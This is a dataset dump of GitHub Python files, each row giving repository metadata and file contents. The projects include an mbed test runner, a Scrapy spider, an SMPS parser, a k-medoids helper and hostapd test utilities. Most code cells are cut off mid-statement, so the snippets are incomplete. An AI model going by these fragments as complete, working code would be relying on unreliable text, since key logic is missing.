hexsha
stringlengths
40
40
size
int64
4
1.02M
ext
stringclasses
8 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
209
max_stars_repo_name
stringlengths
5
121
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
209
max_issues_repo_name
stringlengths
5
121
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
209
max_forks_repo_name
stringlengths
5
121
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
4
1.02M
avg_line_length
float64
1.07
66.1k
max_line_length
int64
4
266k
alphanum_fraction
float64
0.01
1
a13d0727996194ada2cfe0e03461ab5e44a4fc8f
4,666
py
Python
src/mbed_os_tools/test/host_tests_runner/host_test.py
noralsydmp/mbed-os-tools
5a14958aa49eb5764afba8e1dc3208cae2955cd7
[ "Apache-2.0" ]
1
2021-08-10T02:15:18.000Z
2021-08-10T02:15:18.000Z
src/mbed_os_tools/test/host_tests_runner/host_test.py
noralsydmp/mbed-os-tools
5a14958aa49eb5764afba8e1dc3208cae2955cd7
[ "Apache-2.0" ]
null
null
null
src/mbed_os_tools/test/host_tests_runner/host_test.py
noralsydmp/mbed-os-tools
5a14958aa49eb5764afba8e1dc3208cae2955cd7
[ "Apache-2.0" ]
1
2021-08-10T02:15:18.000Z
2021-08-10T02:15:18.000Z
# Copyright (c) 2018, Arm Limited and affiliates. # SPDX-License-Identifier: Apache-2.0 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # ...
34.562963
85
0.63802
2cec372b0353ffee85e5e63a6e8872ad068c78a5
1,965
py
Python
tests/st/ops/ascend/test_tbe_ops/test_conv.py
doc22940/mindspore
21bcdcd8adb97b9171b2822a7ed2c4c138c99607
[ "Apache-2.0" ]
1
2020-05-13T11:31:21.000Z
2020-05-13T11:31:21.000Z
tests/st/ops/ascend/test_tbe_ops/test_conv.py
doc22940/mindspore
21bcdcd8adb97b9171b2822a7ed2c4c138c99607
[ "Apache-2.0" ]
null
null
null
tests/st/ops/ascend/test_tbe_ops/test_conv.py
doc22940/mindspore
21bcdcd8adb97b9171b2822a7ed2c4c138c99607
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
34.473684
78
0.612723
69c5d87ca7a8d396eff6423a936b7c9f6f309f7c
3,308
py
Python
mod_marksOnGunExtended/.release.py
stealthz67/spoter-mods-1
4ebd859fbb705b085ae5c4cb621edfbab476e378
[ "WTFPL" ]
1
2020-02-06T07:13:40.000Z
2020-02-06T07:13:40.000Z
mod_marksOnGunExtended/.release.py
stealthz67/spoter-mods-1
4ebd859fbb705b085ae5c4cb621edfbab476e378
[ "WTFPL" ]
null
null
null
mod_marksOnGunExtended/.release.py
stealthz67/spoter-mods-1
4ebd859fbb705b085ae5c4cb621edfbab476e378
[ "WTFPL" ]
1
2019-12-10T19:11:55.000Z
2019-12-10T19:11:55.000Z
# -*- coding: utf-8 -*- import glob import os import shutil import subprocess import _build as build ZIP = 'mods_marksOnGunExtended.zip' class Release(object): def __init__(self, build, zip): self.data = build self.zipPath = os.path.join('zip', zip) self.modsPath = os.path.join(self.data...
53.354839
267
0.637848
c1c83f623a7a0f10a42adcfbf6caf822719fe0f2
953
py
Python
2016/tutorial_final/35/demo/demo/spiders/YelpSpider.py
zeromtmu/practicaldatascience.github.io
62950a3a3e7833552b0f2269cc3ee5c34a1d6d7b
[ "MIT" ]
1
2021-07-06T17:36:24.000Z
2021-07-06T17:36:24.000Z
2016/tutorial_final/35/demo/demo/spiders/YelpSpider.py
zeromtmu/practicaldatascience.github.io
62950a3a3e7833552b0f2269cc3ee5c34a1d6d7b
[ "MIT" ]
null
null
null
2016/tutorial_final/35/demo/demo/spiders/YelpSpider.py
zeromtmu/practicaldatascience.github.io
62950a3a3e7833552b0f2269cc3ee5c34a1d6d7b
[ "MIT" ]
1
2021-07-06T17:36:34.000Z
2021-07-06T17:36:34.000Z
import scrapy class YelpSpider(scrapy.Spider): name = "yelpspider" start_urls = [ 'https://www.yelp.com/search?find_desc=Restaurants&find_loc=Pittsburgh,+PA&start=0', ] def parse(self, response): for r in response.css('ul.ylist.ylist-bordered.search-results'): yield { ...
47.65
120
0.620147
63ba872da92e41a3e798430624650a960aa80415
246
py
Python
posts/urls.py
AnufriyevT/RestApiBlog
bb80068da371ae578ab1863ea792341e428f1034
[ "MIT" ]
null
null
null
posts/urls.py
AnufriyevT/RestApiBlog
bb80068da371ae578ab1863ea792341e428f1034
[ "MIT" ]
null
null
null
posts/urls.py
AnufriyevT/RestApiBlog
bb80068da371ae578ab1863ea792341e428f1034
[ "MIT" ]
null
null
null
from rest_framework import routers from posts.views import NetworkViewSet, UserViewSet router = routers.SimpleRouter() router.register(r'posts', NetworkViewSet) router.register(r'users', UserViewSet) urlpatterns = [] urlpatterns += router.urls
24.6
51
0.804878
3944ae7f91de2450e0e926f00ae58111c27c7983
9,792
py
Python
pysmps/smps_loader.py
bodono/pysmps
1141f772650914bae6ab0dc564e61667a8dcf5c4
[ "MIT" ]
null
null
null
pysmps/smps_loader.py
bodono/pysmps
1141f772650914bae6ab0dc564e61667a8dcf5c4
[ "MIT" ]
null
null
null
pysmps/smps_loader.py
bodono/pysmps
1141f772650914bae6ab0dc564e61667a8dcf5c4
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """Created on Sun Sep 8 13:28:53 2019. @author: Julian Märte Updated by: Brendan O'Dongohue, bodonoghue85@gmail.com, Oct 14th 2020 """ import re import numpy as np import scipy.sparse CORE_FILE_ROW_MODE = 'ROWS' CORE_FILE_COL_MODE = 'COLUMNS' CORE_FILE_RHS_MODE = 'RHS' CORE_FILE_BOUNDS_MODE...
43.136564
131
0.425143
78126cf0df2ef751bfee1e98554220844b0b4f10
8,744
py
Python
compss/programming_model/bindings/python/src/pycompss/api/mpi.py
BSC-computational-genomics/compss
9cfc9f7b9bdab9dcb0bec083007452cda185f50c
[ "Apache-2.0" ]
null
null
null
compss/programming_model/bindings/python/src/pycompss/api/mpi.py
BSC-computational-genomics/compss
9cfc9f7b9bdab9dcb0bec083007452cda185f50c
[ "Apache-2.0" ]
null
null
null
compss/programming_model/bindings/python/src/pycompss/api/mpi.py
BSC-computational-genomics/compss
9cfc9f7b9bdab9dcb0bec083007452cda185f50c
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # # Copyright 2002-2019 Barcelona Supercomputing Center (www.bsc.es) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 ...
38.690265
116
0.51178
0b5f4317381da726bc01415fcb6d396051698f01
841
py
Python
setup.py
aroig/nnutil
88df41ee89f592a28c1661ee8837dd8e8ca42cf3
[ "BSD-3-Clause" ]
null
null
null
setup.py
aroig/nnutil
88df41ee89f592a28c1661ee8837dd8e8ca42cf3
[ "BSD-3-Clause" ]
null
null
null
setup.py
aroig/nnutil
88df41ee89f592a28c1661ee8837dd8e8ca42cf3
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # nnutil - Neural network utilities for tensorflow # Copyright (c) 2018, Abdó Roig-Maranges <abdo.roig@gmail.com> # # This file is part of 'nnutil'. # # This file may be modified and distributed under the terms of the 3-clause BSD # license. See the LICENSE file for detai...
26.28125
79
0.621879
aa83c1d94abeb3db657dbfb29e48b5a7ef2ce9d0
3,342
py
Python
tests/hwsim/remotehost.py
rainlake/hostap
b9cd4f5e75dc4a7aa3b547925cfb871b6aa103f7
[ "Unlicense" ]
null
null
null
tests/hwsim/remotehost.py
rainlake/hostap
b9cd4f5e75dc4a7aa3b547925cfb871b6aa103f7
[ "Unlicense" ]
null
null
null
tests/hwsim/remotehost.py
rainlake/hostap
b9cd4f5e75dc4a7aa3b547925cfb871b6aa103f7
[ "Unlicense" ]
1
2022-03-25T08:21:36.000Z
2022-03-25T08:21:36.000Z
# Host class # Copyright (c) 2016, Qualcomm Atheros, Inc. # # This software may be distributed under the terms of the BSD license. # See README for more details. import logging import subprocess import threading logger = logging.getLogger() def remote_compatible(func): func.remote_compatible = True return fu...
30.66055
101
0.573908
64d7d2814330d812da07985daacc86cce42cd7f3
3,414
py
Python
tests/models/validators/v2_2_2_3/jsd_df9908ad265e83ab77d73803925678.py
oboehmer/dnacentersdk
25c4e99900640deee91a56aa886874d9cb0ca960
[ "MIT" ]
32
2019-09-05T05:16:56.000Z
2022-03-22T09:50:38.000Z
tests/models/validators/v2_2_2_3/jsd_df9908ad265e83ab77d73803925678.py
oboehmer/dnacentersdk
25c4e99900640deee91a56aa886874d9cb0ca960
[ "MIT" ]
35
2019-09-07T18:58:54.000Z
2022-03-24T19:29:36.000Z
tests/models/validators/v2_2_2_3/jsd_df9908ad265e83ab77d73803925678.py
oboehmer/dnacentersdk
25c4e99900640deee91a56aa886874d9cb0ca960
[ "MIT" ]
18
2019-09-09T11:07:21.000Z
2022-03-25T08:49:59.000Z
# -*- coding: utf-8 -*- """Cisco DNA Center UpdateSite data model. Copyright (c) 2019-2021 Cisco Systems. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without li...
31.906542
81
0.522261
c4502f105f976baa26c345fa774e8ad477a0411e
1,521
py
Python
src/recsys/data_prep/calculate_loo_stats.py
csy1204/recsys_2019_conf_ver
c072407f46dbff73a0e0c916dd4379e6a9e6594b
[ "Apache-2.0" ]
null
null
null
src/recsys/data_prep/calculate_loo_stats.py
csy1204/recsys_2019_conf_ver
c072407f46dbff73a0e0c916dd4379e6a9e6594b
[ "Apache-2.0" ]
6
2020-09-26T01:19:12.000Z
2021-08-25T16:09:24.000Z
src/recsys/data_prep/calculate_loo_stats.py
csy1204/recsys_2019_conf_ver
c072407f46dbff73a0e0c916dd4379e6a9e6594b
[ "Apache-2.0" ]
null
null
null
from collections import defaultdict from csv import DictWriter import pandas as pd import sys sys.path.append('/Users/josang-yeon/2020/tobigs/tobigs_reco_conf/recsys2019/src') from recsys.data_generator.accumulators import ACTIONS_WITH_ITEM_REFERENCE from tqdm import tqdm import numpy as np import joblib """ Calculat...
27.654545
106
0.657462
538577eb13e75bb83ca54074247ccb987e112ed7
9,791
py
Python
clustering/kmedoids_helper.py
msilvestro/dupin
db06432cab6910c6965b9c35baaef96eb84f0d81
[ "MIT" ]
null
null
null
clustering/kmedoids_helper.py
msilvestro/dupin
db06432cab6910c6965b9c35baaef96eb84f0d81
[ "MIT" ]
null
null
null
clustering/kmedoids_helper.py
msilvestro/dupin
db06432cab6910c6965b9c35baaef96eb84f0d81
[ "MIT" ]
null
null
null
"""Helper functions for k-medoids algorithms.""" import numpy as np from numba import jit def _get_clusters(metric=None, method='memory'): # if a method requires it, check if a metric is given if method in ('hybrid', 'cpu') and not metric: print("Error: with method `{:}` a metric is necessary.") ...
32.528239
80
0.597283
4cc6782e39a34694a60836248f132bc1ed7eb44b
884
py
Python
libraries/parser/yaml.py
devetek/Omni
3a0676f307bd1814da925e1a184743c517ec9307
[ "Apache-2.0" ]
4
2019-04-30T11:07:11.000Z
2019-06-10T03:03:37.000Z
libraries/parser/yaml.py
devetek/Omni
3a0676f307bd1814da925e1a184743c517ec9307
[ "Apache-2.0" ]
8
2019-07-17T17:13:09.000Z
2022-02-26T15:40:01.000Z
libraries/parser/yaml.py
devetek/Omni
3a0676f307bd1814da925e1a184743c517ec9307
[ "Apache-2.0" ]
null
null
null
import yaml import os.path from urlparse import urlparse class Ryaml: PATH = '' IS_PATH = True def __init__(self): pass def set_path(self, path): isFile = os.path.isfile(path) self.IS_PATH = isFile if self.__is_path(): self.PATH = path else: ...
18.040816
50
0.548643
eb6df7f19c6af69a774f0bc00beef20f4264b368
784
py
Python
projects/migrations/0005_auto_20190407_1457.py
vineethreddyramasa/uno-community-partnership
694886b7ad7fa98f6dbb24b03476962cfadebc70
[ "MIT" ]
13
2018-08-30T16:03:18.000Z
2019-11-25T07:08:43.000Z
projects/migrations/0005_auto_20190407_1457.py
vineethreddyramasa/uno-community-partnership
694886b7ad7fa98f6dbb24b03476962cfadebc70
[ "MIT" ]
814
2018-08-30T02:28:55.000Z
2022-03-11T23:31:45.000Z
projects/migrations/0005_auto_20190407_1457.py
vineethreddyramasa/uno-community-partnership
694886b7ad7fa98f6dbb24b03476962cfadebc70
[ "MIT" ]
6
2018-09-16T05:35:49.000Z
2019-10-17T02:44:19.000Z
# Generated by Django 2.1.1 on 2019-04-07 19:57 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('projects', '0004_auto_20190407_1443'), ] operations = [ migrations.AlterField( model_name='proj...
31.36
151
0.658163
3108e5c2b20036e6d0245f4c28e5eedda948e66a
398
py
Python
NC 5/code.py
swy20190/NiuKe
d9dbbbbac403f5b4fe37efe82f9708aff614f018
[ "MIT" ]
null
null
null
NC 5/code.py
swy20190/NiuKe
d9dbbbbac403f5b4fe37efe82f9708aff614f018
[ "MIT" ]
null
null
null
NC 5/code.py
swy20190/NiuKe
d9dbbbbac403f5b4fe37efe82f9708aff614f018
[ "MIT" ]
null
null
null
n = int(input()) string = input() dp = [] for i in range(26): dp.append([0]*n) for i in range(n-1): for j in range(26): dp[j][n-2-i] = dp[j][n-1-i] dp[ord(string[n-1-i])-ord('a')][n-2-i] += 1 answer = 0 for i in range(n-2): for j in range(26): if ord(string[i])-ord('a') != j: ...
22.111111
47
0.492462
b4c52dbaa8cb9f3e72e956ffb21e165f9fea83d1
2,629
py
Python
recipes/gemmlowp/all/conanfile.py
Tereius/conan-center-index
6b0523fa57d8e8e890b040e95576f0bc584eeba8
[ "MIT" ]
562
2019-09-04T12:23:43.000Z
2022-03-29T16:41:43.000Z
recipes/gemmlowp/all/conanfile.py
Tereius/conan-center-index
6b0523fa57d8e8e890b040e95576f0bc584eeba8
[ "MIT" ]
9,799
2019-09-04T12:02:11.000Z
2022-03-31T23:55:45.000Z
recipes/gemmlowp/all/conanfile.py
Tereius/conan-center-index
6b0523fa57d8e8e890b040e95576f0bc584eeba8
[ "MIT" ]
1,126
2019-09-04T11:57:46.000Z
2022-03-31T16:43:38.000Z
import os from conans import ConanFile, CMake, tools from conans.errors import ConanInvalidConfiguration required_conan_version = ">=1.37.0" class GemmlowpConan(ConanFile): name = "gemmlowp" license = "Apache-2.0" url = "https://github.com/conan-io/conan-center-index" homepage = "https://github.com/g...
36.013699
114
0.659947
6ba7be2f303044a60bdd02da51266452eba1a045
1,164
py
Python
models/AI-Model-Zoo/VAI-1.3-Model-Zoo-Code/PyTorch/pt_pointpillars_kitti_12000_100_10.8G_1.3/code/train/torchplus/ops/__init__.py
guochunhe/Vitis-AI
e86b6efae11f8703ee647e4a99004dc980b84989
[ "Apache-2.0" ]
1
2020-12-18T14:49:19.000Z
2020-12-18T14:49:19.000Z
models/AI-Model-Zoo/VAI-1.3-Model-Zoo-Code/PyTorch/pt_pointpillars_kitti_12000_100_10.8G_1.3/code/train/torchplus/ops/__init__.py
guochunhe/Vitis-AI
e86b6efae11f8703ee647e4a99004dc980b84989
[ "Apache-2.0" ]
null
null
null
models/AI-Model-Zoo/VAI-1.3-Model-Zoo-Code/PyTorch/pt_pointpillars_kitti_12000_100_10.8G_1.3/code/train/torchplus/ops/__init__.py
guochunhe/Vitis-AI
e86b6efae11f8703ee647e4a99004dc980b84989
[ "Apache-2.0" ]
null
null
null
# This code is based on: https://github.com/nutonomy/second.pytorch.git # # MIT License # Copyright (c) 2018 # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including ...
52.909091
80
0.777491
9ab6ca4e4dc1fe24b6a27e16f99f5f4e307b4acf
5,372
py
Python
reina/MetaLearners/TLearner.py
SoumilShekdar/Reina
638240a979a90a9b6ca9efb40edef6ecc71d836f
[ "MIT" ]
null
null
null
reina/MetaLearners/TLearner.py
SoumilShekdar/Reina
638240a979a90a9b6ca9efb40edef6ecc71d836f
[ "MIT" ]
null
null
null
reina/MetaLearners/TLearner.py
SoumilShekdar/Reina
638240a979a90a9b6ca9efb40edef6ecc71d836f
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 # In[ ]: """ Provides a spark-based T-learner heterogeneous treatment effect estimator. """ import pyspark from pyspark.sql.functions import monotonically_increasing_id from pyspark.ml.feature import VectorAssembler from pyspark.sql.functions import avg from pyspark.sql.function...
40.089552
152
0.657111
e5a5bae27ddc1ba6b78eb733e75cae83cee92ddd
35,273
py
Python
src/b2bt/main.py
HubTou/b2bt
9e53a254226f7eaee32da332c3340b906c36c1eb
[ "BSD-3-Clause" ]
null
null
null
src/b2bt/main.py
HubTou/b2bt
9e53a254226f7eaee32da332c3340b906c36c1eb
[ "BSD-3-Clause" ]
1
2021-06-05T07:59:58.000Z
2021-06-05T08:19:57.000Z
src/b2bt/main.py
HubTou/b2bt
9e53a254226f7eaee32da332c3340b906c36c1eb
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python """ b2bt - back-to-back testing License: 3-clause BSD (see https://opensource.org/licenses/BSD-3-Clause) Author: Hubert Tournier """ import ctypes import difflib import getopt import getpass import hashlib import locale import logging import os import platform import shutil import subprocess impo...
38.050701
100
0.520398
025da87a83ee7760d2e4cfa4afa7ab3bd0da8391
18,330
py
Python
google/ads/google_ads/v6/proto/services/custom_interest_service_pb2.py
jphanwebstaurant/google-ads-python
600812b2afcc4d57f00b47dfe436620ce50bfe9b
[ "Apache-2.0" ]
1
2021-04-09T04:28:47.000Z
2021-04-09T04:28:47.000Z
google/ads/google_ads/v6/proto/services/custom_interest_service_pb2.py
jphanwebstaurant/google-ads-python
600812b2afcc4d57f00b47dfe436620ce50bfe9b
[ "Apache-2.0" ]
null
null
null
google/ads/google_ads/v6/proto/services/custom_interest_service_pb2.py
jphanwebstaurant/google-ads-python
600812b2afcc4d57f00b47dfe436620ce50bfe9b
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/ads/googleads_v6/proto/services/custom_interest_service.proto from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection f...
48.75
2,293
0.794872
56574cfa3400ea078d6b64fdc5af1b3cf3ca4628
6,860
py
Python
classifier/train.py
theovincent/birdClassification
21e23a4f4c67714006e7ccc606134ca8d0fe5d9d
[ "MIT" ]
null
null
null
classifier/train.py
theovincent/birdClassification
21e23a4f4c67714006e7ccc606134ca8d0fe5d9d
[ "MIT" ]
null
null
null
classifier/train.py
theovincent/birdClassification
21e23a4f4c67714006e7ccc606134ca8d0fe5d9d
[ "MIT" ]
null
null
null
import sys import os import torch import pandas as pd def train_cli(argvs=sys.argv[1:]): import argparse import torch.optim as optim from classifier.loader import loader from classifier.model import get_model from classifier.loss import cross_entropy_loss from classifier.validation import v...
32.206573
150
0.615889
e82a767fde831567fc037288d23e024e35688e43
6,534
py
Python
homeassistant/components/wink/binary_sensor.py
petewill/home-assistant
5859dba4344f05fb8774aa1207e47ac28f627a67
[ "Apache-2.0" ]
3
2020-01-21T18:09:09.000Z
2022-01-17T08:06:03.000Z
homeassistant/components/wink/binary_sensor.py
petewill/home-assistant
5859dba4344f05fb8774aa1207e47ac28f627a67
[ "Apache-2.0" ]
39
2016-12-16T12:40:34.000Z
2017-02-13T17:53:42.000Z
homeassistant/components/wink/binary_sensor.py
petewill/home-assistant
5859dba4344f05fb8774aa1207e47ac28f627a67
[ "Apache-2.0" ]
3
2020-01-11T15:44:13.000Z
2022-01-17T08:06:09.000Z
"""Support for Wink binary sensors.""" import logging from homeassistant.components.binary_sensor import BinarySensorDevice from . import DOMAIN, WinkDevice _LOGGER = logging.getLogger(__name__) # These are the available sensors mapped to binary_sensor class SENSOR_TYPES = { "brightness": "light", "capturin...
35.129032
79
0.653658
59c148115aeb2f4ad2629408d740af2936d0ac3b
777
py
Python
setup.py
AlexSartori/mcvf
23f879b22db2bd46b9d527ca4d926ccd3bc65d8d
[ "MIT" ]
null
null
null
setup.py
AlexSartori/mcvf
23f879b22db2bd46b9d527ca4d926ccd3bc65d8d
[ "MIT" ]
null
null
null
setup.py
AlexSartori/mcvf
23f879b22db2bd46b9d527ca4d926ccd3bc65d8d
[ "MIT" ]
null
null
null
import setuptools # type: ignore with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="mcvf", version="0.0.1", author="Alessandro Sartori", author_email="alex.sartori1997@gmail.com", description="Motion-Compensated Video Filtering", long_description=long...
27.75
54
0.662806
9eb3397dcc5364048474e1320d58fff98f90a528
194
py
Python
pincer/middleware/activity_join_request.py
ashu96902/Pincer
102ac4ff998cbb3c57a86b252439f69895650cf3
[ "MIT" ]
null
null
null
pincer/middleware/activity_join_request.py
ashu96902/Pincer
102ac4ff998cbb3c57a86b252439f69895650cf3
[ "MIT" ]
null
null
null
pincer/middleware/activity_join_request.py
ashu96902/Pincer
102ac4ff998cbb3c57a86b252439f69895650cf3
[ "MIT" ]
null
null
null
# Copyright Pincer 2021-Present # Full MIT License can be found in `LICENSE` at the project root. """sent when the user receives a Rich Presence Ask to Join request""" # TODO: Implement event
27.714286
69
0.747423
32493a8056882d3111a51a49ebdbc044fed751b7
2,543
py
Python
examples/exampleSmoothDepthImageOpenCV.py
bearpaw/pyKinectAzure
e55bc574806641b9e3209d7843ccadd871a630a5
[ "MIT" ]
null
null
null
examples/exampleSmoothDepthImageOpenCV.py
bearpaw/pyKinectAzure
e55bc574806641b9e3209d7843ccadd871a630a5
[ "MIT" ]
null
null
null
examples/exampleSmoothDepthImageOpenCV.py
bearpaw/pyKinectAzure
e55bc574806641b9e3209d7843ccadd871a630a5
[ "MIT" ]
null
null
null
import sys sys.path.insert(1, '../pyKinectAzure/') import numpy as np from pyKinectAzure import pyKinectAzure, _k4a, postProcessing import cv2 # Path to the module # TODO: Modify with the path containing the k4a.dll from the Azure Kinect SDK modulePath = 'C:\\Program Files\\Azure Kinect SDK v1.4.1\\sdk\\windows-deskt...
35.816901
138
0.768777
338f4d7afbe4e6ad4b4c4d91eebd561a5b6d4b7d
904
py
Python
ml/ex02/grid_search.py
AlexanderChristian/private_courses
c80f3526af539e35f93b460f3909f669aaef573c
[ "MIT" ]
null
null
null
ml/ex02/grid_search.py
AlexanderChristian/private_courses
c80f3526af539e35f93b460f3909f669aaef573c
[ "MIT" ]
6
2020-03-04T20:52:39.000Z
2022-03-31T00:33:07.000Z
ml/ex02/solution/grid_search.py
AlexanderChristian/private_courses
c80f3526af539e35f93b460f3909f669aaef573c
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """Exercise 2. Grid Search """ import numpy as np from costs import compute_loss def generate_w(num_intervals): """Generate a grid of values for w0 and w1.""" w0 = np.linspace(-100, 200, num_intervals) w1 = np.linspace(-150, 150, num_intervals) return w0, w1 def grid_search...
27.393939
72
0.646018
365ff6a84a678ba4e79c8b8ccec547516c10b7fa
2,825
py
Python
research/information_retrieval/doc2query/src/distill_doc2query.py
clementpoiret/sparseml
8442a6ef8ba11fb02f5e51472dd68b72438539b9
[ "Apache-2.0" ]
922
2021-02-04T17:51:54.000Z
2022-03-31T20:49:26.000Z
research/information_retrieval/doc2query/src/distill_doc2query.py
clementpoiret/sparseml
8442a6ef8ba11fb02f5e51472dd68b72438539b9
[ "Apache-2.0" ]
197
2021-02-04T22:17:21.000Z
2022-03-31T13:58:55.000Z
research/information_retrieval/doc2query/src/distill_doc2query.py
clementpoiret/sparseml
8442a6ef8ba11fb02f5e51472dd68b72438539b9
[ "Apache-2.0" ]
80
2021-02-04T22:20:14.000Z
2022-03-30T19:36:15.000Z
# neuralmagic: no copyright # flake8: noqa # fmt: off # isort: skip_file #!/usr/bin/env python # coding=utf-8 # Copyright (c) 2021 - present / Neuralmagic, Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # Y...
43.461538
190
0.688142
069904d04b11d883234d90febb09382c7c4ec8ec
4,067
py
Python
examples/kddcup2021/MAG240M/r_unimp/dataset/sage_institution_x.py
zbmain/PGL
dbded6a1543248b0a33c05eb476ddc513401a774
[ "Apache-2.0" ]
1,389
2019-06-11T03:29:20.000Z
2022-03-29T18:25:43.000Z
examples/kddcup2021/MAG240M/r_unimp/dataset/sage_institution_x.py
zbmain/PGL
dbded6a1543248b0a33c05eb476ddc513401a774
[ "Apache-2.0" ]
232
2019-06-21T06:52:10.000Z
2022-03-29T08:20:31.000Z
examples/kddcup2021/MAG240M/r_unimp/dataset/sage_institution_x.py
zbmain/PGL
dbded6a1543248b0a33c05eb476ddc513401a774
[ "Apache-2.0" ]
229
2019-06-20T12:13:58.000Z
2022-03-25T12:04:48.000Z
import os import yaml import pgl import time import copy import numpy as np import os.path as osp from pgl.utils.logger import log from pgl.bigraph import BiGraph from pgl import graph_kernel from pgl.sampling.custom import subgraph from ogb.lsc import MAG240MDataset, MAG240MEvaluator import time import paddle from tqd...
38.009346
91
0.592083
4e1c1c3c7163caea0c2e8ec95f8c40b3442eaa0e
602
py
Python
i3py/core/actions/__init__.py
Ecpy/i3py
6f004d3e2ee2b788fb4693606cc4092147655ce1
[ "BSD-3-Clause" ]
1
2018-03-20T09:24:54.000Z
2018-03-20T09:24:54.000Z
i3py/core/actions/__init__.py
Ecpy/i3py
6f004d3e2ee2b788fb4693606cc4092147655ce1
[ "BSD-3-Clause" ]
7
2017-10-11T17:15:17.000Z
2018-01-22T14:31:50.000Z
i3py/core/actions/__init__.py
Exopy/i3py
6f004d3e2ee2b788fb4693606cc4092147655ce1
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright 2016-2017 by I3py Authors, see AUTHORS for more details. # # Distributed under the terms of the BSD license. # # The full license is in the file LICENCE, distributed with this software. # ----------------...
37.625
79
0.548173
479f6b0ee791e687b78741aef9d79878ed45c36d
462
py
Python
openapi_schema_validator/__init__.py
sebastianmika/openapi-schema-validator
b36c12b7356328901b9386e8b7f71d4bf2369a71
[ "BSD-3-Clause" ]
32
2020-06-05T13:05:46.000Z
2022-03-08T23:10:08.000Z
openapi_schema_validator/__init__.py
sebastianmika/openapi-schema-validator
b36c12b7356328901b9386e8b7f71d4bf2369a71
[ "BSD-3-Clause" ]
40
2020-03-05T11:18:07.000Z
2022-02-14T10:01:45.000Z
openapi_schema_validator/__init__.py
sebastianmika/openapi-schema-validator
b36c12b7356328901b9386e8b7f71d4bf2369a71
[ "BSD-3-Clause" ]
19
2020-03-13T15:11:33.000Z
2022-02-28T09:48:00.000Z
# -*- coding: utf-8 -*- from openapi_schema_validator._format import oas30_format_checker from openapi_schema_validator.shortcuts import validate from openapi_schema_validator.validators import OAS30Validator __author__ = 'Artur Maciag' __email__ = 'maciag.artur@gmail.com' __version__ = '0.1.6' __url__ = 'https://gith...
35.538462
65
0.796537
08d7a45c3778d4a0ae5a402e5dfeb0904e43546b
1,893
py
Python
idaes/surrogate/alamopy_depr/examples.py
carldlaird/idaes-pse
cc7a32ca9fa788f483fa8ef85f3d1186ef4a596f
[ "RSA-MD" ]
112
2019-02-11T23:16:36.000Z
2022-03-23T20:59:57.000Z
idaes/surrogate/alamopy_depr/examples.py
carldlaird/idaes-pse
cc7a32ca9fa788f483fa8ef85f3d1186ef4a596f
[ "RSA-MD" ]
621
2019-03-01T14:44:12.000Z
2022-03-31T19:49:25.000Z
idaes/surrogate/alamopy_depr/examples.py
carldlaird/idaes-pse
cc7a32ca9fa788f483fa8ef85f3d1186ef4a596f
[ "RSA-MD" ]
154
2019-02-01T23:46:33.000Z
2022-03-23T15:07:10.000Z
#!/usr/bin/python ################################################################################# # The Institute for the Design of Advanced Energy Systems Integrated Platform # Framework (IDAES IP) was produced under the DOE Institute for the # Design of Advanced Energy Systems (IDAES), and is copyright (c) 2018-202...
34.418182
83
0.544638
25fed5d60879939ede0386670a20575bed1ac575
18,163
py
Python
src/amuse/test/suite/codes_tests/test_brutus.py
rknop/amuse
85d5bdcc29cfc87dc69d91c264101fafd6658aec
[ "Apache-2.0" ]
131
2015-06-04T09:06:57.000Z
2022-02-01T12:11:29.000Z
src/amuse/test/suite/codes_tests/test_brutus.py
rknop/amuse
85d5bdcc29cfc87dc69d91c264101fafd6658aec
[ "Apache-2.0" ]
690
2015-10-17T12:18:08.000Z
2022-03-31T16:15:58.000Z
src/amuse/test/suite/codes_tests/test_brutus.py
rieder/amuse
3ac3b6b8f922643657279ddee5c8ab3fc0440d5e
[ "Apache-2.0" ]
102
2015-01-22T10:00:29.000Z
2022-02-09T13:29:43.000Z
import os import os.path import math from amuse.community import * from amuse.test.amusetest import TestWithMPI from amuse.units import units, nbody_system, constants from amuse.datamodel import Particles from amuse.community.brutus.interface import BrutusInterface, Brutus import random try: import mpmath H...
43.978208
153
0.628475
